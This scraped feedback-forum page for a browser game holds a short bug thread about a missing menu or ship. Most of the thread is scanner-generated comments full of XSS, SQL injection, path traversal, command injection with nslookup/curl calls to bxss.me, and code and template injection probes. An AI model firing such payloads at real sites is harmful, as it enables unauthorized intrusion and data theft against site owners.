Feedback

Menu not showing up by Patrick.Fletcher.118 - 154 months ago

i went on some sites and the menu or the ship im using doesnt show up

• BeyPokéDig

  This has happened to me on only one site so far: slovnik.cz. I hope it will help with finding out how the bug works.

• sitekillah1324

  it happened to me on facebook, cant get the achevement :(

• Random person1

  it happened to me on kickass sometimes

• Random person1

  *most of the time

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1Dt0EBdKGSO

• 1CixZapmxlO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${10000216+9999481}

• Anonymous

  1

• ${9999029+9999740}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  response.write(9083179*9435146)

• WfxYANoW

  /etc/shells

• WfxYANoW

  '+response.write(9083179*9435146)+'

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  "+response.write(9083179*9435146)+"

• WfxYANoW

  1

• WfxYANoW

  c:/windows/win.ini

• response.write(9879116*9081915)

  1

• WfxYANoW

  ../1

• WfxYANoW

  bxss.me

• '+response.write(9879116*9081915)+'

  1

• WfxYANoW

  echo kjmtbv$()\ ngnscp\nz^xyu||a #' &echo kjmtbv$()\ ngnscp\nz^xyu||a #|" &echo kjmtbv$()\ ngnscp\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• "+response.write(9879116*9081915)+"

  1

• WfxYANoW

  &echo inekwu$()\ ezppvc\nz^xyu||a #' &echo inekwu$()\ ezppvc\nz^xyu||a #|" &echo inekwu$()\ ezppvc\nz^xyu||a #

• WfxYANoW

  9wdJYFd3

• file:///etc/passwd

  1

• WfxYANoW

  cNg58uOU: bfg8KOa5

• Http://bxss.me/t/fit.txt

  1

• bsbb26KT

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• F812kInN: IHs3V46d

  1

• /etc/shells

  1

• WfxYANoW

  1&n909078=v910630

• WfxYANoW

  1

• WfxYANoW

  1&echo yzxrga$()\ tsjkux\nz^xyu||a #' &echo yzxrga$()\ tsjkux\nz^xyu||a #|" &echo yzxrga$()\ tsjkux\nz^xyu||a #

• UTM4RFpqSkU=

  1

• WfxYANoW

  |echo suwjnq$()\ qrproe\nz^xyu||a #' |echo suwjnq$()\ qrproe\nz^xyu||a #|" |echo suwjnq$()\ qrproe\nz^xyu||a #

• WfxYANoW

  )

• c:/windows/win.ini

  1

• WfxYANoW

  1|echo tffpyt$()\ yuoqgt\nz^xyu||a #' |echo tffpyt$()\ yuoqgt\nz^xyu||a #|" |echo tffpyt$()\ yuoqgt\nz^xyu||a #

• ../WfxYANoW

  1

• bxss.me

  1

• WfxYANoW

  1

• WfxYANoW

  (nslookup -q=cname hitdkarypcubv3259c.bxss.me||curl hitdkarypcubv3259c.bxss.me))

• WfxYANoW

  '.gethostbyname(lc('hitdj'.'uifpvravcc390.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(106).chr(81).'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hityspduuqyzr96140.bxss.me||curl hityspduuqyzr96140.bxss.me)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  ".gethostbyname(lc("hitgy"."ichjozgsbf0c6.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(82).chr(105).chr(70)."

• WfxYANoW&n909659=v994953

  1

• WfxYANoW

  &nslookup -q=cname hitjpkpequigm8f6be.bxss.me&'\"`0&nslookup -q=cname hitjpkpequigm8f6be.bxss.me&`'

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  &(nslookup -q=cname hittaxyucwquz02a81.bxss.me||curl hittaxyucwquz02a81.bxss.me)&'\"`0&(nslookup -q=cname hittaxyucwquz02a81.bxss.me||curl hittaxyucwquz02a81.bxss.me)&`'

• WfxYANoW

  gethostbyname(lc('hitqg'.'nqozzeel5d5ba.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(76).chr(106).chr(86)

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  |(nslookup -q=cname hitkroaqbujtz6dc03.bxss.me||curl hitkroaqbujtz6dc03.bxss.me)

• )

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  '"()

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  '"

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  `(nslookup -q=cname hitorjwawtxlu1c949.bxss.me||curl hitorjwawtxlu1c949.bxss.me)`

• xfs.bxss.me

  1

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >rvjB(9068)</ScRiPt>

• '"

  1

• WfxYANoW

  ;(nslookup -q=cname hitaspuoewhcb1bf91.bxss.me||curl hitaspuoewhcb1bf91.bxss.me)|(nslookup -q=cname hitaspuoewhcb1bf91.bxss.me||curl hitaspuoewhcb1bf91.bxss.me)&(nslookup -q=cname hitaspuoewhcb1bf91.bxss.me||curl hitaspuoewhcb1bf91.bxss.me)

• <!--

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1'&&sleep(27*1000)*dhfpne&&'

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(100).concat(79).concat(101).concat(86)+(require"socket" Socket.gethostbyname("hitkw"+"xbiolpeld55fe.bxss.me.")[3].to_s)+"

• WfxYANoW

  1"&&sleep(27*1000)*kbwzge&&"

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  '"()&%<zzz><ScRiPt >rvjB(9876)</ScRiPt>

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitglgjasxhem1ef42.bxss.me||curl${IFS}hitglgjasxhem1ef42.bxss.me)

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hiteqdfizkanxce5a2.bxss.me||curl${IFS}hiteqdfizkanxce5a2.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiteqdfizkanxce5a2.bxss.me||curl${IFS}hiteqdfizkanxce5a2.bxss.me)&`'

• WfxYANoW

  1'||sleep(27*1000)*lbedti||'

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(113).concat(72).concat(118).concat(86)+(require'socket' Socket.gethostbyname('hitiq'+'ievxbusq2ad18.bxss.me.')[3].to_s)+'

• WfxYANoW

  19700027

• WfxYANoW

  1"||sleep(27*1000)*bzbbos||"

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(117).concat(65).concat(116).concat(89)+(require'socket' Socket.gethostbyname('hitrj'+'mkvxkdieee4ff.bxss.me.')[3].to_s)

• WfxYANoW

  comment

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  comment/.

• WfxYANoW

  1

• WfxYANoW

  '.print(md5(31337)).'

• '"()

  1

• comment

  1

• WfxYANoW'&&sleep(27*1000)*osrxix&&'

  1

• WfxYANoW

  bfg1519＜s1﹥s2ʺs3ʹhjl1519

• ';print(md5(31337));$a='

  1

• comment

  1

• comment/.

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW"&&sleep(27*1000)*idejlq&&"

  1

• WfxYANoW'||sleep(27*1000)*oglyby||'

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW"||sleep(27*1000)*mzfhyv||"

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  1

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >rvjB(9199)</ScRiPt>

• WfxYANoW

  1<WCZJ3H>KJEVB[!+!]</WCZJ3H>

• WfxYANoW

  1<script>rvjB(9570)</script>

• WfxYANoW

  1<script>rvjB(9784)</script>9784

• WfxYANoW

  1<ScR<ScRiPt>IpT>rvjB(9777)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >rvjB(9238)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9752></ScRiPt>

• WfxYANoW

  1<ScRiPt >rvjB(9364)</ScRiPt>

• WfxYANoW

  1RByGfGrv

• WfxYANoW

  1<isindex type=image src=1 onerror=rvjB(9795)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9421'>

• WfxYANoW

  1<body onload=rvjB(9451)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=rvjB(9819)>

• WfxYANoW

  1<img src=xyz OnErRor=rvjB(9058)>

• WfxYANoW

  1<img/src=">" onerror=alert(9949)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%72%76%6A%42%289703%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\rvjB(9009)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;rvjB(9831)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=rvjB(9684)>

• WfxYANoW

  1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1 OR 2+712-712-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(rvjB(9526))}

• WfxYANoW

  -1 OR 2+86-86-1=0+0+0+1

• WfxYANoW

  -1' OR 2+260-260-1=0+0+0+1 --

• WfxYANoW

  1PDFqa <ScRiPt >rvjB(9529)</ScRiPt>

• WfxYANoW

  -1' OR 2+782-782-1=0+0+0+1 or 'FjP5OtUS'='

• WfxYANoW

  1<WKD4RA>O3ZLY[!+!]</WKD4RA>

• WfxYANoW

  -1" OR 2+104-104-1=0+0+0+1 --

• WfxYANoW

  1<ifRAme sRc=9790.com></IfRamE>

• WfxYANoW

  1<afj4p8Z x=9098>

• WfxYANoW

  1<img sRc='http://attacker-9354/log.php?

• WfxYANoW

  1<afo0n0B<

• WfxYANoW'"()&%<zzz><ScRiPt >rvjB(9241)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >rvjB(9867)</ScRiPt>

  1

• WfxYANoW9758290

  1

• bfg1021＜s1﹥s2ʺs3ʹhjl1021

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >rvjB(9352)</ScRiPt>

  1

• WfxYANoW<WOUGJM>KZIS4[!+!]</WOUGJM>

  1

• WfxYANoW<script>rvjB(9762)</script>

  1

• WfxYANoW<script>rvjB(9622)</script>9622

  1

• WfxYANoW<ScRiPt >rvjB(9284)</ScRiPt>

  1

• WfxYANoW<ScRiPt >rvjB(9931)</ScRiPt>

  1

• WfxYANoW<body onload=rvjB(9444)>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<img src=xyz OnErRor=rvjB(9789)>

  1

• WfxYANoW<img/src=">" onerror=alert(9006)>

  1

• WfxYANoW\u003CScRiPt\rvjB(9648)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;rvjB(9776)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=rvjB(9524)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(rvjB(9557))}

  1

• WfxYANoWo58QX <ScRiPt >rvjB(9121)</ScRiPt>

  1

• WfxYANoW<WB4LIJ>K0KOO[!+!]</WB4LIJ>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ifRAme sRc=9707.com></IfRamE>

  1

• WfxYANoW<adh2As6 x=9251>

  1

• WfxYANoW<img sRc='http://attacker-9023/log.php?

  1

• WfxYANoW<aVb3jDG<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1cQgQgev4'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 643=(SELECT 643 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 971=(SELECT 971 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 962=(SELECT 962 FROM PG_SLEEP(15))--

• WfxYANoW

  1Vi5QMVIM' OR 519=(SELECT 519 FROM PG_SLEEP(15))--

• WfxYANoW

  1s5zx5kiu') OR 267=(SELECT 267 FROM PG_SLEEP(15))--

• WfxYANoW

  1RQTXCMVd')) OR 200=(SELECT 200 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@poxOv

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWeFVKJPM0

  1

• WfxYANoW

  1

• -1 OR 2+229-229-1=0+0+0+1 --

  1

• -1 OR 2+735-735-1=0+0+0+1

  1

• -1' OR 2+132-132-1=0+0+0+1 --

  1

• -1' OR 2+958-958-1=0+0+0+1 or 'M3QjQ5Yo'='

  1

• -1" OR 2+266-266-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWBfPHEWZC'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@Do5f2

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• gwkjwsuv

  1

• klaaemyv

  response.write(9810084*9576824)

• klaaemyv

  '+response.write(9810084*9576824)+'

• mgcmrecb

  1

• klaaemyv

  "+response.write(9810084*9576824)+"

• mgcmrecb

  1

• response.write(9025225*9064114)

  1

• ysjeqhpk

  set|set&set

• xduxxjkl

  BtRkuDoW

• mgcmrecb

  rXhwL6w0

• '+response.write(9025225*9064114)+'

  1

• ysjeqhpk

  $(nslookup 5KZZ0w7y)

• JO9I1San

  1

• upblkjww

  ../../../../../../../../../../etc/passwd

• mgcmrecb

  -1 OR 2+561-561-1=0+0+0+1 --

• "+response.write(9025225*9064114)+"

  1

• ysjeqhpk

  &nslookup R1VLRIkH&'\"`0&nslookup R1VLRIkH&`'

• cvbenjkx

  1

• upblkjww

  ../../../../../../../../../../../../../../../proc/version

• mgcmrecb

  -1 OR 2+529-529-1=0+0+0+1

• kkhynefp

  ${9999698+9999268}

• set|set&set

  1

• upblkjww

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• mgcmrecb

  -1' OR 2+889-889-1=0+0+0+1 --

• ${9999568+9999024}

  1

• rritcmte

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• $(nslookup ucjH277D)

  1

• upblkjww

  ../../../../../../../../../../etc/passwd.jpg

• mgcmrecb

  -1' OR 2+901-901-1=0+0+0+1 or 'CL5ktRyf'='

• OXdub3ZFMkk=

  1

• rritcmte

  1some_inexistent_file_with_long_name.jpg

• &nslookup XIocqIxA&'\"`0&nslookup XIocqIxA&`'

  1

• upblkjww

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• mgcmrecb

  -1" OR 2+814-814-1=0+0+0+1 --

• rclmchyx

  1&n970620=v956181

• rritcmte

  Http://testasp.vulnweb.com/t/fit.txt

• ftlqibps

  )

• upblkjww

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• mgcmrecb

  if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

• cvbenjkx

  1

• rritcmte

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ftlqibps

  !(()&&!|*|*|

• upblkjww

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• mgcmrecb

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• Anonymous

  1

• bgvqiynb&n960027=v917731

  1

• rritcmte

  testasp.vulnweb.com

• ftlqibps

  ^(#$!@#$)(()))******

• upblkjww

  /etc/passwd

• mgcmrecb

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• )

  1

• upblkjww

  %2fetc%2fpasswd

• mgcmrecb

  (select(0)from(select(sleep(7)))v)/*'+(select(0)from(select(sleep(7)))v)+'"+(select(0)from(select(sleep(7)))v)+"*/

• 1some_inexistent_file_with_long_name.jpg

  1

• !(()&&!|*|*|

  1

• upblkjww

  /.././.././.././.././.././.././.././../etc/./passwd%00

• mgcmrecb

  -1; waitfor delay '0:0:3' --

• ottrwxlk

  ;print(md5(acunetix_wvs_security_test));

• tlleqpvs

  '"()

• Http://testasp.vulnweb.com/t/fit.txt

  1

• ^(#$!@#$)(()))******

  1

• uqsoelyu

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• upblkjww

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• mgcmrecb

  -1; waitfor delay '0:0:10' --

• ottrwxlk

  ';print(md5(acunetix_wvs_security_test));$a='

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ornvyauq

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• upblkjww

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• mgcmrecb

  -1); waitfor delay '0:0:3' --

• ottrwxlk

  ";print(md5(acunetix_wvs_security_test));$a="

• '"()

  1

• testasp.vulnweb.com

  1

• ornvyauq

  comment

• gxmrlmnf

  http://hitqYQhoVgKee.bxss.me/

• mgcmrecb

  -1); waitfor delay '0:0:10' --

• ottrwxlk

  ${@print(md5(acunetix_wvs_security_test))}

• btcryxyl

  1

• kdgkwqiy

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ornvyauq

  comment

• http://hitUiHSgbfVl3.bxss.me/

  1

• mgcmrecb

  1 waitfor delay '0:0:7' --

• upblkjww

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ottrwxlk

  ${@print(md5(acunetix_wvs_security_test))}\

• btcryxyl

  1'"

• ornvyauq

  comment/.

• pxdeflju

  /www.vulnweb.com

• mgcmrecb

  407g5yMZ'; waitfor delay '0:0:7' --

• upblkjww

  file:///etc/passwd

• ;print(md5(acunetix_wvs_security_test));

  1

• btcryxyl

  \

• ornvyauq

  1

• veosywep

  '"

• /www.vulnweb.com

  1

• mgcmrecb

  -1;select pg_sleep(7); --

• upblkjww

  /\../\../\../\../\../\../\../etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• comment

  1

• veosywep

  <!--

• qsejaslp

  1'"()&%<acx><ScRiPt >CcIY(9829)</ScRiPt>

• mgcmrecb

  -1);select pg_sleep(7); --

• upblkjww

  WEB-INF/web.xml

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• btcryxyl

  @@aWG3H

• comment

  1

• '"

  1

• mgcmrecb

  -1));select pg_sleep(10); --

• upblkjww

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• btcryxyl

  JyI=

• comment/.

  1

• <!--

  1

• qsejaslp

  '"()&%<acx><ScRiPt >CcIY(9932)</ScRiPt>

• mgcmrecb

  AS3UYMPG';select pg_sleep(10); --

• upblkjww

  WEB-INF\web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• mgcmrecb

  gkNxxywg');select pg_sleep(3); --

• ../../../../../../../../../../etc/passwd

  1

• qsejaslp

  1_9173

• mgcmrecb

  0Dk7JgLS');select pg_sleep(0); --

• btcryxyl

  (select convert(int,CHAR(65)))

• mgcmrecb

  6wbLzv7B'));select pg_sleep(3); --

• btcryxyl

  1

• qsejaslp

  acu2148＜s1﹥s2ʺs3ʹuca2148

• mgcmrecb

  LE0583B0'));select pg_sleep(7); --

• 1'"

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• mgcmrecb

  1

• \

  1

• mgcmrecb

  1

• FhOj7iwn

  1

• @@GG4YK

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• qsejaslp

  {{10000343*9999131}}

• -1 OR 2+865-865-1=0+0+0+1 --

  1

• JyI=

  1

• /etc/passwd

  1

• -1 OR 2+629-629-1=0+0+0+1

  1

• %2fetc%2fpasswd

  1

• qsejaslp

  1<ScRiPt >CcIY(9621)</ScRiPt>

• -1' OR 2+327-327-1=0+0+0+1 --

  1

• -1' OR 2+456-456-1=0+0+0+1 or 'DN4cahdw'='

  1

• (select convert(int,CHAR(65)))

  1

• qsejaslp

  1<WZMLJQ>78DD7[!+!]</WZMLJQ>

• -1" OR 2+13-13-1=0+0+0+1 --

  1

• qsejaslp

  1<script>CcIY(9939)</script>

• 1 waitfor delay '0:0:13' --

  1

• file:///etc/passwd

  1

• qsejaslp

  1<ScR<ScRiPt>IpT>CcIY(9503)</sCr<ScRiPt>IpT>

• ju1qe5F0'; waitfor delay '0:0:13' --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• AHyoAbDA';select pg_sleep(4); --

  1

• WEB-INF/web.xml

  1

• qsejaslp

  1<ScRiPt >CcIY(9707)</ScRiPt>

• Zf8TKr9E');select pg_sleep(4); --

  1

• /WEB-INF/web.xml

  1

• bLpNGeT4'));select pg_sleep(4); --

  1

• WEB-INF\web.xml

  1

• qsejaslp

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9018></ScRiPt>

• qsejaslp

  1<ScRiPt >CcIY(9120)</ScRiPt>

• qsejaslp

  1<video><source onerror="javascript:CcIY(9190)">

• qsejaslp

  1<isindex type=image src=1 onerror=CcIY(9316)>

• qsejaslp

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9178'>

• qsejaslp

  1<body onload=CcIY(9355)>

• qsejaslp

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=CcIY(9168)>

• qsejaslp

  1<img src=xyz OnErRor=CcIY(9726)>

• qsejaslp

  1<img/src=">" onerror=alert(9477)>

• qsejaslp

  %31%3C%53%63%52%69%50%74%20%3E%43%63%49%59%289387%29%3C%2F%73%43%72%69%70%54%3E

• qsejaslp

  1\u003CScRiPt\CcIY(9234)\u003C/sCripT\u003E

• qsejaslp

  1&lt;ScRiPt&gt;CcIY(9900)&lt;/sCripT&gt;

• qsejaslp

  1<input autofocus onfocus=CcIY(9296)>

• qsejaslp

  <a HrEF=http://www.vulnweb.com></a>

• qsejaslp

  <a HrEF=jaVaScRiPT:>

• qsejaslp

  [url=http://www.vulnweb.com][/url]

• qsejaslp

  1<img<!-- --> src=x onerror=alert(9297);//><!-- -->

• qsejaslp

  1}body{acu:Expre/**/SSion(CcIY(9501))}

• qsejaslp

  1<% contenteditable onresize=CcIY(9583)>

• qsejaslp

  1_7DaQv <ScRiPt >CcIY(9708)</ScRiPt>

• qsejaslp

  1<WGIY9A>JVE4V[!+!]</WGIY9A>

• qsejaslp

  1<ifRAme sRc=9250.com></IfRamE>

• qsejaslp

  1<C5kQPC x=9028>

• qsejaslp

  1<img sRc='http://attacker-9584/log.php?

• qsejaslp'"()&%<acx><ScRiPt >CcIY(9118)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >CcIY(9143)</ScRiPt>

  1

• qsejaslp_9905

  1

• acu3671＜s1﹥s2ʺs3ʹuca3671

  1

• {{9999014*10000249}}

  1

• qsejaslp<ScRiPt >CcIY(9250)</ScRiPt>

  1

• qsejaslp<WBB6EO>TP534[!+!]</WBB6EO>

  1

• qsejaslp<script>CcIY(9029)</script>

  1

• qsejaslp<ScRiPt >CcIY(9580)</ScRiPt>

  1

• qsejaslp<ScRiPt >CcIY(9782)</ScRiPt>

  1

• qsejaslp<body onload=CcIY(9428)>

  1

• qsejaslp<img src=xyz OnErRor=CcIY(9276)>

  1

• qsejaslp<img/src=">" onerror=alert(9758)>

  1

• qsejaslp\u003CScRiPt\CcIY(9943)\u003C/sCripT\u003E

  1

• qsejaslp&lt;ScRiPt&gt;CcIY(9594)&lt;/sCripT&gt;

  1

• qsejaslp<input autofocus onfocus=CcIY(9689)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• qsejaslp}body{acu:Expre/**/SSion(CcIY(9720))}

  1

• qsejaslp<% contenteditable onresize=CcIY(9635)>

  1

• qsejaslp_JRtNx <ScRiPt >CcIY(9746)</ScRiPt>

  1

• qsejaslp<W5OJUP>V3G9F[!+!]</W5OJUP>

  1

• qsejaslp<ifRAme sRc=9497.com></IfRamE>

  1

• qsejaslp<tOmmni x=9027>

  1

• qsejaslp<img sRc='http://attacker-9981/log.php?

  1

• aidene

  not working at all for me

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  771 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

